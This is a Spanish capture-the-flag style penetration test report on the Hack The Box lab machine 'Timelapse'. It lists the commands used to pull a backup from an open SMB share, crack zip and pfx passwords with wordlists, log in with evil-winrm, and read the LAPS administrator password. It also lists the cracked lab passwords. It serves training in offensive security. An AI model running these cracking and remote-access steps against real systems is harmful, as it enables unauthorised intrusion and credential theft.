10.10.11.152 Timelapse

En este informe vamos a encontrar una guía para poder dar con la solución de la máquina propuesta, también servirá como informe para detallar los movimientos o ataques realizados en este

Enumeration

A continuación, se mostrara la respectiva enumeración realizada al objetivo

TCP

Nmap scan report for 10.10.11.152
Host is up (0.17s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-05-03 08:45:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h59m58s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-05-03T08:45:32
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.84 seconds

UDP

Web Services

No cuenta con servicios web

Nikto

Dirb\DirBuster

WebDav

CMS

Other Services

SMB

Host script results:
|_clock-skew: 7h59m58s
| smb2-security-mode:
| 3.1.1:
|_   Message signing enabled and required
| smb2-time:
| date: 2022-05-03T08:45:32
|_ start_date: N/A

SNMP

DB

Other

Exploitation

Service Exploited: SMB
Vulnerability Type: Error de configuración del cliente SMB
Exploit POC: N/A
Description:
Es posible acceder a las carpetas compartidas expuestas por el servidor/máquina objetivo, con ello es posible descarga un archivo comprimido que hace referencia a un backup de winrm, puesto que lleva el nombre de "winrm_backup.zip" en el cuál podemos encontrar un certificado con su respectiva llave privada, esto nos podría servir para realizar una conexión remota con el servidor y así ingresar a nuestro objetivo.
Para lograr acceder a la información del archivo comprimido toca extraer la clave del documento y así porseguir a la extracción del certificado y su llave.

Discovery of Vulnerability
• Se logra acceder por medio del comando "smbclient -L 10.10.11.152" y "smbclient \\\\10.10.11.152\\Shares" y descargar la información sin control alguno.
• Se identifica una contraseña para descomprimir el archivo zip encontrado
• Se identifica una contraseña para poder acceder al archivo pfx, por lo tanto al buscar solucionas damos con una herramienta llamada pfx2john
• Se extrae los certificados y la llave del archivo pfx
• Se realiza la conexión con evil-winrm

Exploit Code Used
No se usa ningún tipo de exploit para vulnerar el servicio y la carpeta, pero se usaron los siguientes comandos:
• Para realizar la conexión inicial smbclient -L 10.10.11.152
• Para acceder a la carpeta y al archivo smbclient \\\\10.10.11.152\\Shares luego el comando ls y cd Dev
• Para extraer el archivo get nombreDelArchivo
• Para obtener la contraseña del archivo zip se usó fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
• Para obtener el hash de la contraseña del archivo pfx se uso lo siguiente pfx2john legacyy_dev_auth.pfx > cert.john
• Para obtener la contraseña se usó el siguiente comando john --wordlist=/usr/share/wordlists/rockyou.txt cert.john
• Para extraer la llave privada del certificado se usa el siguiente comando openssl pkcs12 -in legacyy_dev_auth.pfx -out private-key.key -nocerts
• Para extraer el certificado de confianza, se usa el siguiente comando openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out redorbita-cert.crt
• Para entrar al servidor objetivo se usó lo siguiente evil-winrm -i 10.10.11.152 -c redorbita-cert.crt -k private-key.key -S

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

Se realiza una enumeración para identificar la brecha interna del servidor

Script Results

Host Information

Operating System

Windows

Architecture

x64

Domain

timelapse.htb

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Administrator	babywyrm	Guest
krbtgt	legacyy	payl0ad
sinfulz	svc_deploy	thecybergeek
TRX		

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: N/A
Vulnerability Type: Ausencia del mínimo privilegio
Exploit POC:

Description:
Se logra acceder a un historial dónde se evidencia la ejecución de unos comandos que al parecer son para crear un usuario.

Discovery of Vulnerability
Con ayuda de winPEAS, encontramos un archivo que hace refencia a un historial de comandos ejecutados por el usuario.
Este historial se encuentra en la siguiente ubicación C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>
Es posible leerlo con el siguiente comando cat ConsoleHost_history.txt

Exploit Code Used
Para este descubirmiento se usa el ejecutable de winPEAS.
• Se descarga con el siguiente comando wget https://github.com/carlospolop/PEASS-ng/releases/download/20220508/winPEASx64.exe
• Con ayuda de impacket transferimos el archivo impacket-smbserver share $(pwd) -smb2support (máquina atacante)
• Ejecutando este comando en la máquina víctima copy \\direcciónIPAtacante\share\archivo
• Nos ubicamos en la carpeta que contiene el archivo de texto.
• Leemos el archivo con el comando cat

Service Exploited: LAP READERS
Vulnerability Type:
Exploit POC:
Description:
Con ayuda del nuevo usuario identificado se logra recuperar la contraseña del administrador

Discovery of Vulnerability
AL ingresar al nuevo usuario se instala el módulo de AdmPwd.ps y procedemos a recuperar la contraseña

Exploit Code Used
No se usa algún tipo de exploit o malware para la recuperación de la contraseña, en cambio se usa impacket y la ejecución del módulo previamente identificado:
• Se descarga el módulo desde el siguiente repositorio https://github.com/ztrhgf/LAPS
• Con ayuda de impacket impacket-smbserver share $(pwd) -smb2support se transfiere
• En la máquina víctima se ejecuta lo siguiente para obtener el módulo a instalar copy \\direcciónIPAtacante\share\archivo
• Ejecutamos el siguiente comando en la máquina víctima Import-Module ./AdmPwd.ps
• Este comando nos recuperara la contraseña del administrador Get-AdmPwdPassword -ComputerName $env:computername
• Si queremos ver solo la contraseña, con el siguiente comando nos podemos ayudar Get-AdmPwdPassword -ComputerName $env:computername | Select-Object Password

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Goodies

Se identifica la siguiente información sensible en la explotación del objetivo

Hashes

Passwords

- winrm_backup.zip:supremelegacy
- legacyy_dev_auth.pfx > cert.john:thuglegacy
- svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
- Administrator:}T2R!,uOq7,{s0b#/3@SdY#5

Proof\Flags\Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☑ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster

- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☑ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☑ Download the software

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☑ Creds Previously Gathered
- ☑ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☑ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt

- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book